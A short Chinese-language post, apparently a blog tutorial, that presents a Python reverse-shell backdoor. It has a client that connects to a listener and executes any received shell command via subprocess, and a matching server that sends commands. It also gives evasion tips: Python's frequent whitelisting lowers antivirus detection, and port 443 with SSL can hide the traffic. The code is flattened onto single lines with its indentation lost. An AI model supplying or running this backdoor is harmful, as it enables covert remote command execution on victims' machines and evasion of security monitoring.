python 反向shell后门
linux 编码改为utf-8,windows 默认gbk,python一般都是白名单减少查杀可能性,端口可以改为443,ssl混肴数据传输。
python client端
import subprocess,socket def main(): ip = "192.168.1.102" port = 6666 # 建立socket shell_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # connect连接 shell_socket.connect((ip,port)) # 接收数据 while True: data = shell_socket.recv(1024).decode("gbk") # subprocess执行shell命令 command = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) STDOUT,STDERR = command.communicate() # byte 类型区别于 python2.X # 发送输出命令 shell_socket.send(STDOUT) # 直接发送bytes # 关闭socket shell_socket.close() if __name__ == '__main__': main()
python server端:
import socket def main(): # 建立socke连接 shell_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # bind端口 shell_socket.bind(("",6666)) # listen监听 设置最大俩个连接 shell_socket.listen(2) # accept 接收 发送命令 new_shell,addr = shell_socket.accept() while True: command = input("~$") new_shell.send(command.encode("gbk")) # 显示 数据 data = new_shell.recv(2048).decode("gbk") if data: print (data) else: break # 关闭连接 new_shell.close() shell_socket.close() if __name__ == '__main__': main()
执行结果: